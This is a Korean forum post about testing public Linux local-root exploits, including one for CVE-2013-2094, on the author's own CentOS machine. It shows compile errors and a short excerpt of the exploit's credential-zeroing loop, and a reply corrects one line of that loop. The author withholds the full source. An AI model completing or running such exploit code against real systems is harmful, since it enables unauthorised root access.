kernel exploit 이 새로 추가 된게 있어서 테스트 해봤습니다.

shari83의 이미지

Linux kernel perf_swevent_init - Local root Exploit

위험한 녀석이죠. centos 쓰다가 커널 업데이트 안하고 있었는데. 뒤적이다 보니. 5월 14일자로 올라온 exploit으로 root를 탈취할수 있어서 오늘 업데이트후. 안되는걸 확인후
다른건 없나 뒤적여 봤습니다.

6월 11일자로 올라온게 있더군요..

* CVE-2013-2094 exploit x86_64 Linux < 3.8.9
대상은 이걸로 하고 있나 봅니다. 저랑은 일단 버전이 맞지 않지만, 그래도 테스트니깐 한번 돌려 보았습니다.

다운로드 받고. 컴파일 하니깐.

이렇게 뜨는군요.

26131.c: In function 'sc':
26131.c:76: error: stray '\302' in program
26131.c:76: error: stray '\244' in program
26131.c:76: error: 't' undeclared (first use in this function)
26131.c:76: error: (Each undeclared identifier is reported only once
26131.c:76: error: for each function it appears in.)

? 뭐지.. 76번째줄로 가봤습니다.

75: for (i = 0; i < 4000; i += 4) {
76: uint64_t *p = (void *) ¤t[i];
77: uint32_t *cred = (uint32_t*) p[0];
78:
79: if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
80: continue;
81:
82: for (j = 0; j < 20; j++) {
83: if (cred[j] == uid && cred[j + 1] == gid) {
84: for (i = 0; i < 8; i++) {
85: cred[j + i] = 0;
86: return;
87: }
88: }

¤ 이건 도대체 뭔고?.. 일단 저걸 지우고 했더니. 에러중에 윗두줄만 사라지고 아래는 그대롭니다. 그래서 그냥 대충 p로 바꾼후. 컴파일.
컴파일은 잘 되었습니다.

실행해 보았습니다

$./a.out

솰랴솰랴 잔뜩 뜨더니. 머신이 뻗어 버리더군요.
음...뭔가 문제가 있는듯 합니다.. 머신을 뻗게 만드는게 목적이 아닐텐데? Local root Exploit니깐요.
혹시 centos 라서 그랬을까요?

악용을 방지하기 위해 전체 소스를 올릴수 없는점은 양해 바랍니다.

익명 사용자의 이미지

거기서는

uint64_t *p = (void *) current[i];
uint32_t *cred = (uint32_t*) p[0];

라고 되어있던 것으로 기억하네요.

댓글 달기

Filtered HTML

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

BBCode

  • 텍스트에 BBCode 태그를 사용할 수 있습니다. URL은 자동으로 링크 됩니다.
  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param>
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.

Textile

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • You can use Textile markup to format text.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Markdown

  • 다음 태그를 이용하여 소스 코드 구문 강조를 할 수 있습니다: <code>, <blockcode>, <apache>, <applescript>, <autoconf>, <awk>, <bash>, <c>, <cpp>, <css>, <diff>, <drupal5>, <drupal6>, <gdb>, <html>, <html5>, <java>, <javascript>, <ldif>, <lua>, <make>, <mysql>, <perl>, <perl6>, <php>, <pgsql>, <proftpd>, <python>, <reg>, <spec>, <ruby>. 지원하는 태그 형식: <foo>, [foo].
  • Quick Tips:
    • Two or more spaces at a line's end = Line break
    • Double returns = Paragraph
    • *Single asterisks* or _single underscores_ = Emphasis
    • **Double** or __double__ = Strong
    • This is [a link](http://the.link.example.com "The optional title text")
    For complete details on the Markdown syntax, see the Markdown documentation and Markdown Extra documentation for tables, footnotes, and more.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 사용할 수 있는 HTML 태그: <p><div><span><br><a><em><strong><del><ins><b><i><u><s><pre><code><cite><blockquote><ul><ol><li><dl><dt><dd><table><tr><td><th><thead><tbody><h1><h2><h3><h4><h5><h6><img><embed><object><param><hr>

Plain text

  • HTML 태그를 사용할 수 없습니다.
  • web 주소와/이메일 주소를 클릭할 수 있는 링크로 자동으로 바꿉니다.
  • 줄과 단락은 자동으로 분리됩니다.
댓글 첨부 파일
이 댓글에 이미지나 파일을 업로드 합니다.
파일 크기는 8 MB보다 작아야 합니다.
허용할 파일 형식: txt pdf doc xls gif jpg jpeg mp3 png rar zip.
CAPTCHA
이것은 자동으로 스팸을 올리는 것을 막기 위해서 제공됩니다.